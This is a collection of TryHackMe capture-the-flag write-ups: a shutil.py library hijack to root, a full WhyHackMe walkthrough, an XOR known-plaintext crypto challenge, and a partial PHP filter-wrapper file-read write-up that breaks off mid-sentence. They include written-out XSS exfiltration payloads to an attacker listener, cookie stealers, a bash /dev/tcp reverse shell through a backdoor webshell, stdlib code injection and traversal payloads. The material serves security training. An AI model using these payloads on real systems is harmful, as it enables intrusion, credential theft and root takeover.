death@ip-10-48-167-123:/home/lucien$ whoami
death
death@ip-10-48-167-123:/home/lucien$ id
uid=1001(death) gid=1001(death) groups=1001(death)

cd ~ && cat death_flag.txt

Privilege Escalation - death to root via `shutil.py` Library Hijack

Looked around morpheus's home for anything death has access to:

cd /home/morpheus && ls -la

-rw-rw-r-- 1 morpheus morpheus   22 Jul 28  2023 kingdom
-rw-rw---- 1 morpheus morpheus   28 Jul 28  2023 morpheus_flag.txt
-rw-rw-r-- 1 morpheus morpheus  180 Aug  7  2023 restore.py

cat restore.py

from shutil import copy2 as backup

src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"

backup(src_file, dst_file)
print("The kingdom backup has been done!")

/kingdom_backup is root:saviors and death isn't in that group, so running this manually just fails:

python3 restore.py

Traceback (most recent call last):
  File "restore.py", line 6, in <module>
    backup(src_file, dst_file)
  File "/usr/lib/python3.8/shutil.py", line 438, in copy2
    copyfile(src, dst, follow_symlinks=follow_symlinks)
  File "/usr/lib/python3.8/shutil.py", line 267, in copyfile
    with open(src, 'rb') as fsrc, open(dst, 'wb') as fdst:
PermissionError: [Errno 13] Permission denied: '/kingdom_backup/kingdom'

But the interesting part is what restore.py imports it from - checked the permissions on the actual system shutil.py module:

find / -type f -name 'shutil.py' 2>/dev/null

/usr/lib/python3.8/shutil.py
/snap/core20/1974/usr/lib/python3.8/shutil.py
/snap/core20/2015/usr/lib/python3.8/shutil.py

ls -la /usr/lib/python3.8/shutil.py

-rw-rw-r-- 1 root death 51474 Mar 18  2025 /usr/lib/python3.8/shutil.py

Group-owned by death, group-writable. Since any Python process on the box that does import shutil (or from shutil import ..., as restore.py does) will load and execute this file, and something on the box appears to run restore.py periodically/as root (implied by the box's "kingdom backup" premise and the root:saviors-owned destination directory), planting code here gets it executed with whatever privileges that scheduled/triggering process has.

Edited the module directly and added a line at the top (after the existing imports) to make the target flag world-readable:

nano /usr/lib/python3.8/shutil.py

# added near the top of shutil.py, after imports:
os.system('chmod 777 /home/morpheus/morpheus_flag.txt')

After giving it a little time for the backup job/cron to trigger a fresh import shutil as root:

ls -la /home/morpheus/morpheus_flag.txt

-rwxrwxrwx 1 morpheus morpheus   28 Jul 28  2023 morpheus_flag.txt

Permissions flipped to 777 - confirming the injected line executed with enough privilege to override morpheus's own restrictive permissions. (An earlier, more direct attempt - copying a SUID root bash binary to /tmp/rootbash from within the hijacked module - also worked opportunistically once, evidenced by a stray -rwsrwsrwx binary appearing in /tmp, but wasn't reliably reproducible since the target file kept coming back "busy" while in use; the chmod-the-flag approach was the clean, repeatable path.)

cat /home/morpheus/morpheus_flag.txt

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Directory listing enabled on `/app/`	Apache config	Discloses Pluck CMS version/path
2	Weak Pluck CMS admin password (`password`)	`/app/pluck-4.7.13/login.php`	Trivial brute force with hydra + rockyou
3	CVE-2020-29607 - `.phar` extension bypass on file upload	Pluck CMS 4.7.13 admin file manager	Authenticated RCE as `www-data`
4	Password reuse between app-testing script and system account	`/opt/test.py` (lucien)	Lateral movement `www-data` -> `lucien`
5	`subprocess.check_output(..., shell=True)` on unsanitized DB fields	`getDreams.py` (run via `sudo` as `death`)	Command injection via MySQL row content
6	Group-writable core Python stdlib module (`shutil.py`) imported by a root-run job	`/usr/lib/python3.8/shutil.py`	Full root code execution via library hijack

Lessons / Takeaways

Never reuse application-level credentials (CMS admin passwords, API keys) as system account passwords. lucien's system password being identical to a hardcoded Pluck test password was the entire bridge from www-data to a real user.
subprocess(..., shell=True) with any attacker-influenced input - even data pulled from "your own" database - is a command injection waiting to happen. If the data crosses a trust boundary (user-submitted content, another service, etc.) before landing in the DB, treat it as untrusted when building shell commands from it later.
File/group permissions on interpreter standard-library paths matter. A group-writable /usr/lib/python3.8/shutil.py is effectively a root backdoor for anyone in that group, since practically everything on the system imports it eventually.
Restrictive sudo rules aren't a substitute for input validation in the target script. Locking lucien to one specific script didn't help once that script itself was exploitable.

TryHackMe : WhyHackMe writeup

Yogeshwar Peela — Mon, 10 Aug 2026 15:29:58 +0000

Summary

WhyHackMe is an medium Linux box that chains a handful of low-friction bugs into root. Anonymous FTP leaks a hint pointing at a pass.txt file that's only reachable from localhost. The blog application on port 80 stores comments (including the username field) without sanitization and replays them to an admin bot, giving a blind stored XSS primitive. That primitive is used to make the admin's browser (which can reach 127.0.0.1) fetch the localhost-only credentials file and exfiltrate it to an attacker-controlled listener, yielding SSH creds for jack. A misconfigured sudo rule lets jack run iptables as root, which is abused to drop a firewall rule blocking an unusual high port (41312) that turns out to be a TLS-wrapped Apache vhost. A packet capture left on the box for "help" contains the plaintext session from before it was firewalled off, revealing a hidden CGI backdoor (5UP3r53Cr37.py) along with its symmetric encryption key/IV. Replaying that request with a command-execution payload gives code execution as www-data, who turns out to have blanket passwordless sudo, for an instant path to root.

Attack Chain

Anonymous FTP → hint file (localhost-only secret path)
   ↓
Stored/Blind XSS in blog username field → admin bot triggers it
   ↓
XSS payload: fetch() localhost-only pass.txt → exfil via attacker HTTP listener
   ↓
Leaked creds → SSH as jack
   ↓
sudo iptables (NOPASSWD) → flush firewall rules blocking port 41312
   ↓
/opt/capture.pcap analysis (tshark) → recovers CGI backdoor path + AES key/IV
   ↓
Replay request to encrypted CGI webshell → RCE as www-data
   ↓
www-data has sudo NOPASSWD: ALL → root

Recon

nmap -A -Pn <MACHINE_IP> -o nmap

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             318 Mar 14  2023 update.txt
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 (Ubuntu)
|_http-title: Welcome!!

Anonymous FTP allowed, and there's a file sitting in the root, update.txt. Grabbed it:

ftp <MACHINE_IP> 21
Name (<MACHINE_IP>:kali): anonymous
Password:
230 Login successful.
ftp> get update.txt
226 Transfer complete.
ftp> ^D

cat update.txt

Hey I just removed the old user mike because that account was compromised and for any of you who wants the creds of new account visit 127.0.0.1/dir/pass.txt and don't worry this file is only accessible by localhost(127.0.0.1), so nobody else can view it except me or people with access to the common account.
- admin

Key hint: a credentials file exists at /dir/pass.txt on the web server, but it's IP-restricted to 127.0.0.1. Confirmed the path exists with gobuster:

gobuster dir -u http://<MACHINE_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

index.php            (Status: 200) [Size: 563]
blog.php             (Status: 200) [Size: 3102]
login.php            (Status: 200) [Size: 523]
register.php         (Status: 200) [Size: 643]
dir                   (Status: 403) [Size: 277]
assets                (Status: 301) [Size: 313] [--> http://<MACHINE_IP>/assets/]
logout.php            (Status: 302) [Size: 0] [--> login.php]
config.php            (Status: 200) [Size: 0]

dir returning 403 (not 404) confirms the path exists and is being blocked at the web-server level, matching the note's claim.

Web App Enumeration

The site is a minimal PHP blog. Landing page links to /blog.php:

curl http://<MACHINE_IP>/

<h2> Welcome to my personal website. <h2>
<p> Please read my first blog at <a href="/blog.php">blog.php</a></p>

curl http://<MACHINE_IP>/blog.php/

Shows a blog post with an existing admin comment, and states you must be logged in to comment:

<h2>To comment you need to be logged in. To login please visit <a href='/login.php'>this</a> link.</h2><br><h2>All comments:</h2><br><h2>Name: admin<br>Comment: Hey people, I will be monitoring your comments so please be safe and civil.</h2>

That admin comment - "I will be monitoring your comments" - strongly implies an admin bot reviews new comments, which is exactly the trigger needed for a blind XSS.

Registered a test account and logged in:

curl -X POST http://<MACHINE_IP>/register.php -d 'username=test&password=test'

<p>Your account has been registered now you may login <a href='/login.php'>here</a></p>

curl -c cookies.txt -X POST http://<MACHINE_IP>/login.php -d 'username=test&password=test'

Logged in successfully.<p>You can now comment on blogs, to do so visit <a href='/blog.php'>blog.php</a></p>

Confirmed the comment field reflects input unescaped:

curl -s -b cookies.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=<ScRiPt>alert(1)</sCriPt>'

<h2>Name: test<br>Comment: &lt;script&gt;alert(1)&lt;/script&gt;</h2>

Wait - that one got HTML-encoded. Tried a few bypass variants to check for a filter vs. straight encoding:

curl -s -b cookies.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=<scr<script>ipt>alert(1)</scr</script>ipt>'
curl -s -b cookies.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=<img src=x onerror=alert(1)>'
curl -s -b cookies.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=<svg onload=alert(1)>'

All came back HTML-encoded in the comment field too - so the comment field is actually sanitized. But testing the username field on registration told a different story:

curl -s -X POST http://<MACHINE_IP>/register.php -d 'username=<script>alert(1)</script>&password=test123'
curl -s -c cookies2.txt -X POST http://<MACHINE_IP>/login.php -d 'username=<script>alert(1)</script>&password=test123'
curl -s -b cookies2.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=hello'

<h2>Name: <script>alert(1)</script><br>Comment: hello</h2>

The username rendered as a live, unescaped <script> tag - no encoding at all. And unlike the comment field, the username is rendered site-wide next to every comment that account posts, giving a persistent injection point that fires every time anyone (including the review bot) loads the page.

Vulnerability: Blind Stored XSS (username field) → SSRF to localhost-restricted resource

Because the admin note explicitly said pass.txt is restricted to 127.0.0.1, and the admin's review bot presumably browses the page from the box itself, the plan was:

Register an account whose username is a JS payload.
Log in, post any comment (to make sure the poisoned username renders on the page the bot visits).
The payload runs in the bot's browser context, which - being local to the server - can reach 127.0.0.1/dir/pass.txt, bypassing the IP restriction that blocks external attackers.
Exfiltrate the fetched contents to an attacker-controlled listener.

Attempt 1 - cookie stealer via `document.location`

curl -s -X POST http://<MACHINE_IP>/register.php -d 'username=<script>document.location="http://<ATTACKER_IP>:4444/?c="+document.cookie</script>&password=test123'
curl -s -c cookies3.txt -X POST http://<MACHINE_IP>/login.php -d 'username=<script>document.location="http://<ATTACKER_IP>:4444/?c="+document.cookie</script>&password=test123'
curl -s -b cookies3.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=hi'

Listener never caught anything:

nc -lnvp 4444
listening on [any] 4444 ...
^C

Attempt 2 - externally hosted `<script src=...>` payloads

cat > steal.js << 'EOF'
new Image().src = "http://<ATTACKER_IP>:4444/c?" + encodeURIComponent(document.cookie);
EOF

python3 -m http.server 8000

curl -s -X POST http://<MACHINE_IP>/register.php --data-urlencode 'username=<script src=http://<ATTACKER_IP>:8000/steal.js></script>' --data-urlencode 'password=test123'
curl -s -c cookies5.txt -X POST http://<MACHINE_IP>/login.php --data-urlencode 'username=<script src=http://<ATTACKER_IP>:8000/steal.js></script>' --data-urlencode 'password=test123'
curl -s -b cookies5.txt -X POST http://<MACHINE_IP>/blog.php --data-urlencode 'comment=hi'

This time the bot actually fetched it - confirmed in the Python HTTP server log:

<MACHINE_IP> - - [10/Aug/2026 06:11:02] "GET /steal.js HTTP/1.1" 200 -
<MACHINE_IP> - - [10/Aug/2026 06:12:02] "GET /steal.js HTTP/1.1" 200 -
<MACHINE_IP> - - [10/Aug/2026 06:13:02] "GET /steal.js HTTP/1.1" 200 -

Confirms the bot polls the page periodically (roughly once a minute) and executes injected JS with HeadlessChrome:

nc -lnvp 8000

listening on [any] 8000 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [<MACHINE_IP>] 39740
GET /steal.js HTTP/1.1
Host: <ATTACKER_IP>:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36
Referer: http://127.0.0.1/blog.php

The Referer: http://127.0.0.1/blog.php confirms the bot loads the page from localhost - exactly the trust boundary the whole attack depends on. But the cookie-stealer payload wasn't the right data to grab; needed to go after pass.txt directly instead.

Attempt 3 - fetch the actual target file

cat > pass.js << 'EOF'
fetch("http://127.0.0.1/dir/pass.txt")
  .then(r => r.text())
  .then(t => new Image().src = "http://<ATTACKER_IP>:8000/c?" + encodeURIComponent(t));
EOF

curl -s -X POST http://<MACHINE_IP>/register.php --data-urlencode 'username=<script src=http://<ATTACKER_IP>:8000/pass.js></script>' --data-urlencode 'password=pass999'
curl -s -c cookies7.txt -X POST http://<MACHINE_IP>/login.php --data-urlencode 'username=<script src=http://<ATTACKER_IP>:8000/pass.js></script>' --data-urlencode 'password=pass999'
curl -s -b cookies7.txt -X POST http://<MACHINE_IP>/blog.php --data-urlencode 'comment=hi'

The script got fetched but the exfil listener on port 8000 was busy serving the .js file itself, so the outbound Image().src request needed its own dedicated listener. Rather than juggling ports, switched to an inline payload (no external .js hosting needed) and a clean listener:

curl -s -X POST http://<MACHINE_IP>/register.php \
  --data-urlencode 'username=<script>fetch("http://127.0.0.1/dir/pass.txt").then(r=>r.text()).then(t=>fetch("http://<ATTACKER_IP>:5555?q="+t,{mode:"no-cors"}))</script>' \
  --data-urlencode 'password=pwn123'

curl -s -c cookie_new.txt -X POST http://<MACHINE_IP>/login.php \
  --data-urlencode 'username=<script>fetch("http://127.0.0.1/dir/pass.txt").then(r=>r.text()).then(t=>fetch("http://<ATTACKER_IP>:5555?q="+t,{mode:"no-cors"}))</script>' \
  --data-urlencode 'password=pwn123'

curl -s -b cookie_new.txt -X POST http://<MACHINE_IP>/blog.php --data-urlencode 'comment=hello'

python3 -m http.server 5555

<MACHINE_IP> - - [.../..:47:02] "GET /?q=jack:WhyIsMyPasswordSoStrongIDK HTTP/1.1" 200 -
<MACHINE_IP> - - [.../..:47:02] "GET /?q=jack%3AWhyIsMyPasswordSoStrongIDK%0A HTTP/1.1" 200 -

URL-decoded to confirm:

python3 -c "from urllib.parse import unquote; print(unquote('jack%3AWhyIsMyPasswordSoStrongIDK%0A'))"

jack:WhyIsMyPasswordSoStrongIDK

Cleanup: after getting the creds, deleted all the throwaway XSS test accounts' comments with a small loop so the box wasn't left full of junk:

cat > clean_up.sh << 'EOF'
#!/bin/bash
TARGET="http://<MACHINE_IP>"
delete_comments() {
  local user="$1" pass="$2"
  local jar=$(mktemp)
  curl -s -c "$jar" -X POST "$TARGET/login.php" --data-urlencode "username=$user" --data-urlencode "password=$pass" > /dev/null
  curl -s -b "$jar" -X POST "$TARGET/blog.php" -d "delete=Delete" > /dev/null
  rm -f "$jar"
  echo "Cleaned: $user"
}
delete_comments "test" "test"
# ... one call per throwaway account used above
EOF
bash clean_up.sh

Cleaned: test
Cleaned: <script>alert(1)</script>
Cleaned: <script>document.location="http://<ATTACKER_IP>:4444/?c=" document.cookie</script>
Cleaned: <script src=http://<ATTACKER_IP>:8000/steal.js></script>
...

curl -s http://<MACHINE_IP>/blog.php | grep -o 'Name: [^<]*'

Name: admin

Board's clean, only the original admin comment remains.

Initial Access - SSH as jack

ssh jack@<MACHINE_IP>
jack@<MACHINE_IP>'s password: WhyIsMyPasswordSoStrongIDK

Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-159-generic x86_64)

whoami; id

jack
uid=1001(jack) gid=1001(jack) groups=1001(jack)

cat user.txt

Privilege Escalation Path - jack → www-data → root

Step 1: sudo iptables abuse

sudo -l

[sudo] password for jack:
Matching Defaults entries for jack on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User jack may run the following commands on ubuntu:
    (ALL : ALL) /usr/sbin/iptables

Checked current rules - an explicit DROP on a high port stood out:

sudo /usr/sbin/iptables -L -n -v --line-numbers

Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
num   pkts bytes target     prot opt in     out     source               destination
1       92  5520 DROP       tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:41312
2    15081 1708K ACCEPT     all  --  lo     *       0.0.0.0/0            0.0.0.0/0
3     227K   34M ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            ctstate NEW,RELATED,ESTABLISHED
4        0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:22
5       21   840 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80
6        0     0 ACCEPT     icmp --  *      *       0.0.0.0/0            0.0.0.0/0            icmptype 8
7        0     0 ACCEPT     icmp --  *      *       0.0.0.0/0            0.0.0.0/0            icmptype 0
8       63  3700 DROP       all  --  *      *       0.0.0.0/0            0.0.0.0/0

Chain OUTPUT (policy ACCEPT 15173 packets, 1713K bytes)
num   pkts bytes target     prot opt in     out     source               destination
1     232K  104M ACCEPT     all  --  *      eth0    0.0.0.0/0            0.0.0.0/0

iptables doesn't let you exfiltrate files directly, but it does let you rewrite firewall policy. Flushed the rules and opened everything up:

sudo /usr/sbin/iptables -F
sudo /usr/sbin/iptables -P INPUT ACCEPT
sudo /usr/sbin/iptables -P OUTPUT ACCEPT
sudo /usr/sbin/iptables -P FORWARD ACCEPT

Port 41312 was now reachable - it turned out to be a second, TLS-wrapped Apache vhost:

curl http://<MACHINE_IP>:41312/

Reason: You're speaking plain HTTP to an SSL-enabled server port.

curl -k https://<MACHINE_IP>:41312/

<title>403 Forbidden</title>
<address>Apache/2.4.41 (Ubuntu) Server at <MACHINE_IP> Port 41312</address>

Step 2: recovering the hidden webshell from a leftover pcap

A note in /opt/urgent.txt (root-owned, world-readable) described the situation:

cat /opt/urgent.txt

Hey guys, after the hack some files have been placed in /usr/lib/cgi-bin/ and when I try to remove them, they wont, even though I am root. Please go through the pcap file in /opt and help me fix the server. And I temporarily blocked the attackers access to the backdoor by using iptables rules. The cleanup of the server is still incomplete I need to start by deleting these files first.

/usr/lib/cgi-bin/ was root-protected:

ls -la /usr/lib/cgi-bin/

ls: cannot open directory '/usr/lib/cgi-bin/': Permission denied

But /opt/capture.pcap was readable. Pulled it over with a quick Python web server + wget:

# on target:
cd /opt && python3 -m http.server 8000

# on attacker box:
wget http://<MACHINE_IP>:8000/capture.pcap

2026-08-10 06:55:29 (334 KB/s) - 'capture.pcap' saved [27247/27247]

Checked for the TLS private key so the captured TLS session on port 41312 could be decrypted:

find / -type f -name '*.key' 2>/dev/null

/etc/apache2/certs/apache.key

# on target:
cd /etc/apache2/certs/ && python3 -m http.server 8000

# on attacker box:
wget http://<MACHINE_IP>:8000/apache.key

2026-08-10 07:00:57 (413 MB/s) - 'apache.key' saved [3272/3272]

Loaded the key into tshark and inspected traffic to the unusual port:

tshark -r capture.pcap -T fields -e ip.src -e ip.dst -e tcp.dstport 2>/dev/null | sort -u

10.133.71.33    10.13.64.69     41312
10.13.64.69     10.133.71.33    39802
10.13.64.69     10.133.71.33    43316
...

tshark -r capture.pcap -Y "tls" 2>/dev/null | head -20

4   0.002449 10.133.71.33 → 10.13.64.69  TLSv1.2 583 Client Hello
6   0.003286  10.13.64.69 → 10.133.71.33 TLSv1.2 1650 Server Hello, Certificate, Server Hello Done
...
25   5.006106 10.133.71.33 → 10.13.64.69  HTTP 567 GET / HTTP/1.1
27   5.007024  10.13.64.69 → 10.133.71.33 HTTP 615 HTTP/1.1 403 Forbidden  (text/html)
48  22.158876 10.133.71.33 → 10.13.64.69  HTTP 583 GET /cgi-bin/5UP3r53Cr37.py HTTP/1.1

Decrypted the HTTP layer using the recovered key:

tshark -r capture.pcap -o "tls.keys_list:<MACHINE_IP>,41312,http,apache.key" \
  -Y "http" -T fields -e http.request.uri -e http.response.code 2>/dev/null

tshark -r capture.pcap -Y "http" -T fields \
  -e http.request.method \
  -e http.request.uri \
  -e http.request.uri.query \
  -e http.file_data

GET     /cgi-bin/5UP3r53Cr37.py
GET     /cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=id
GET     /cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=ls%20-al

Hex-decoding the http.file_data for the cmd=id request gives:

uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)

This reveals a CGI backdoor at /cgi-bin/5UP3r53Cr37.py that takes cmd= plus a static key/iv pair for its symmetric-encryption scheme.

Step 3: RCE via the recovered webshell

With the port now open (iptables flush) and the key/IV in hand, the backdoor was directly usable:

curl -sk "https://<MACHINE_IP>:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=ls"

<h2>5UP3r53Cr37.py
<h2>

curl -sk "https://<MACHINE_IP>:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=id"

<h2>uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)
<h2>

Confirmed and escalated to a full reverse shell via the same parameters:

curl -sk "https://<MACHINE_IP>:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&" \
  --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4443 0>&1'"

Caught with penelope on the attacker box, auto-upgraded to a PTY:

penelope -p 4443 listen

[+] Listening for reverse shells on 0.0.0.0:4443
[+] [New Reverse Shell] => ubuntu <MACHINE_IP> Linux-x86_64 www-data(33) Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3

whoami; id; groups

www-data
uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)
h4ck3d

Step 4: trivial root via NOPASSWD sudo

sudo -l

Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User www-data may run the following commands on ubuntu:
    (ALL : ALL) NOPASSWD: ALL

sudo su

whoami

root

cd /root && ls

bot.py  root.txt  snap  ssh.sh

cat root.txt

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Anonymous FTP with informational hint file	`vsftpd` (port 21)	Discloses existence/path of a "protected" secrets file
2	Unsanitized username field (comment field itself was actually encoded)	`register.php` → rendered in `blog.php`	Blind stored XSS against an internal admin review bot
3	Server-side trust boundary based on `127.0.0.1` source IP	`/dir/pass.txt` access rule	Bypassed via SSRF-style XSS - bot's browser is localhost
4	Overly broad `sudo` grant on `iptables`	`jack`'s sudoers entry	Firewall policy fully attacker-controlled → port unblocking
5	Sensitive pcap + TLS private key left world/owner-readable	`/opt/capture.pcap`, `/etc/apache2/certs/apache.key`	Enables full decryption of prior attacker/backdoor traffic
6	Undocumented CGI backdoor with static (recoverable) key/IV	`/usr/lib/cgi-bin/5UP3r53Cr37.py`	Direct unauthenticated RCE as `www-data` once reachable
7	Blanket `NOPASSWD: ALL` sudo for `www-data`	sudoers	Instant root from a low-privilege web user

Lessons / Takeaways

"Localhost-only" is not a trust boundary if anything with network access can render your page for you. An XSS that executes in an admin/bot context effectively runs as that host - including its 127.0.0.1 view of the world. Treat SSRF-via-XSS as first-class when a review bot exists.
Test every input field independently. The comment field here was properly encoded, but the username field (rendered in the same location) was not - a filter on one field doesn't imply coverage everywhere the same data model touches output.
Never leave forensic artifacts (pcaps, keys) lying around during "cleanup." The /opt/capture.pcap + apache.key combo handed over the entire backdoor mechanism the admin was presumably trying to remove.
sudo grants for network-control binaries (iptables, tcpdump, nmap, etc.) are frequently as good as full root in situations where they can be used to expose otherwise-firewalled attack surface.

TryHackMe : Overflow The Jackpot writeup

Yogeshwar Peela — Mon, 10 Aug 2026 05:32:42 +0000

#	Challenge	Category	Flag
1	B1t Recovery	Crypto	`THM{[REDACTED]}`
2	Lost Fortune Included	Web	`THM{REDACTED}`
3	Casino Heist	Forensics	`THM{REDACTED}`
4	Fresh Powder - Bonus Challenge	Detection Engineering	Multiple - `THM{REDACTED}`
5	Agent P	Boot2Root	`EVILINC{REDACTED}`

b1t_recovery - Known-Plaintext Attack on Short-Key Repeating XOR

Summary

b1t_recovery is a crypto challenge that XOR-encrypts a flag with a random
4-byte key using pwntools' xor() helper. Because xor() cycles a short
key across the whole plaintext (repeating-key XOR, effectively a weak stream
cipher), and because the flag format is known ahead of time (THM{...}),
the first 4 bytes of ciphertext can be XORed against the known THM{ prefix
to recover the full key directly - no brute force needed. Once the key is
recovered, XORing it back across the entire ciphertext yields the flag.

Challenge Files

b1t_recovery/
├── challenge.py
└── encrypted.bin

challenge.py:

import os
from pwn import *

key = os.urandom(4)
flag = b"THM{FAKE_FLAG_FOR_TESTING}"
encrypted = xor(flag, key)

with open("encrypted.bin", "wb") as f:
    f.write(encrypted)

Key details from the source:

The XOR key is only 4 random bytes (os.urandom(4)).
pwntools.xor() repeats/cycles a short key across the full length of the input rather than requiring a key as long as the plaintext.
The real flag follows the same THM{...} format as the placeholder, which is the crack that breaks this scheme.

Vulnerability

Repeating-key XOR with a short key is only as strong as an attacker's
uncertainty about any stretch of plaintext equal in length to the key.
Here the key is 4 bytes, and the flag format is public knowledge
(THM{ is a fixed, predictable prefix on every flag in this format).
That means the first 4 ciphertext bytes are:

C[0:4] = P[0:4] XOR K[0:4]
       = "THM{" XOR K

Since XOR is self-inverse, the key falls straight out:

K = C[0:4] XOR "THM{"

Once K is known, decrypting the rest of the file is just re-applying the
key on a 4-byte cycle across the full ciphertext - the same operation
challenge.py used to encrypt it, run in reverse.

Exploitation

Inspected the ciphertext length and raw bytes:

data = open('encrypted.bin', 'rb').read()
print(len(data))       # 46 bytes
print(data.hex())

Recovered the 4-byte key from the known THM{ prefix and decrypted the full
buffer:

data = open('encrypted.bin', 'rb').read()
known = b'THM{'
key = bytes([data[i] ^ known[i] for i in range(4)])
print('recovered key:', key)
pt = bytes([data[i] ^ key[i % 4] for i in range(len(data))])
print(pt)

Output:

recovered key: b'\xcb\xce\xceC'
b'THM{[REDACTED]}'

Flag

THM{[REDACTED]}

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Short (4-byte), reused/cycled XOR key with a predictable-format plaintext prefix	`challenge.py` -> `encrypted.bin`	Full key recovery and plaintext decryption via known-plaintext attack, no brute force required

Mitigations

Never use repeating-key XOR as encryption for anything beyond a trivial obfuscation exercise - it collapses to a solvable known-plaintext problem the moment any stretch of plaintext equal to the key length is guessable or predictable (headers, magic bytes, fixed-format prefixes like THM{).
If XOR is used at all, the key must be at least as long as the plaintext and never reused (a true one-time pad), or replaced entirely with an authenticated stream/block cipher (e.g. AES-GCM, ChaCha20-Poly1305).
Avoid predictable plaintext framing (fixed prefixes/suffixes) around secrets that will be encrypted with anything less than a properly randomized, sufficiently long key - predictable structure is exactly what a known-plaintext attack needs to anchor on.

TryHackMe - Losst Fortune: PHP Filter Chain Bypass to Arbitrary File Read

Flag: THM{REDACTED}

Summary

"Losst Fortune" is a single Apache/PHP box serving a themed document kiosk
("VILLAGE ARCHIVE TERMINAL v2.3") that hands out two files - a PDF and a PNG

through a ?doc=<filename> parameter. Straightforward path-traversal payloads (../../etc/passwd, double-encoded slashes, null bytes) were all caught by a filter that returns "Only .pdf and .png village documents may be viewed." - but that filter turned out to be watching for ../-style traversal sequences specifically, not actually restricting which file gets opened. Feeding the parameter a php://filter/... stream wrapper instead of a plain path contains no ../ at all, sails straight past the blacklist, and gets handed to PHP's file-read function unmodified - which happily treats it as a wrapper directive rather than a filename. That gave base64-encoded arbitrary file read as the web server user, and a very short hop from /etc/passwd to the flag sitting in /var/www/.

?doc=<filename> kiosk endpoint
        |
        v
../ traversal payloads -> blocked ("Only .pdf and .png...")
        |
        v
php://filter/...resource=<path> -> contains no ../ -> blacklist never triggers
        |
        v
value passed straight to a PHP file-read function -> treated as a stream wrapper, not a path
        |
        v
php://filter/read=convert.base64-encode/resource=/etc/passwd -> arbitrary file read
        |
        v
php://filter/.../resource=/var/www/flag.txt -> flag

Recon

nmap -A -Pn <MACHINE_IP>

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: VILLAGE ARCHIVE TERMINAL v2.3
|_http-server-header: Apache/2.4.58 (Ubuntu)

(Note: the target's DHCP-assigned IP changed partway through this engagement,
from 10.48.174.230 to 10.49.159.27, after the TryHackMe VPN instance
recycled - both refer to the same box. Placeholder <MACHINE_IP> is used
throughout for that reason.)

curl http://<MACHINE_IP>/ returns a themed kiosk page listing two
documents and stating its request format plainly:

<div class="prompt">AVAILABLE DOCUMENTS:</div>
<ul>
    <li><a href="?doc=village_schedule.pdf">village_schedule.pdf</a></li>
    <li><a href="?doc=important.png">important.png</a></li>
</ul>
<div class="footer">
    Request format: <code>?doc=&lt;filename&gt;</code><br>
    Only .pdf and .png documents are served from this terminal.
</div>

Fetched both listed documents for a baseline:

wget 'http://<MACHINE_IP>/?doc=village_schedule.pdf' -O village_schedule.pdf
wget 'http://<MACHINE_IP>/?doc=important.png' -O important.png

village_schedule.pdf: PDF document, version 1.7, 1 page(s) (zip deflate encoded)
important.png:        PNG image data, 434 x 431, 8-bit/color RGBA, non-interlaced

Both legitimate, unremarkable files - no obvious flag hiding in either at
this stage.

Confirming the Filter - and What It's Actually Watching For

Straight path traversal is rejected with a specific message:

curl 'http://<MACHINE_IP>/?doc=..%2f..%2f..%2fetc%2fpasswd'
curl 'http://<MACHINE_IP>/?doc=....//....//etc/passwd'
curl 'http://<MACHINE_IP>/?doc=..%252f..%252f..%252fetc%252fpasswd'
curl 'http://<MACHINE_IP>/?doc=%2e%2e/%2e%2e/%2e%2e/etc/passwd'

Only .pdf and .png village documents may be viewed.

Every traversal variant tried - literal ../, single URL-encoding, double
URL-encoding, dot-slash obfuscation - got the exact same block message. That
consistency was the tell: this isn't an extension whitelist reacting to the
absence of .pdf/.png, it's a blacklist reacting to the presence of
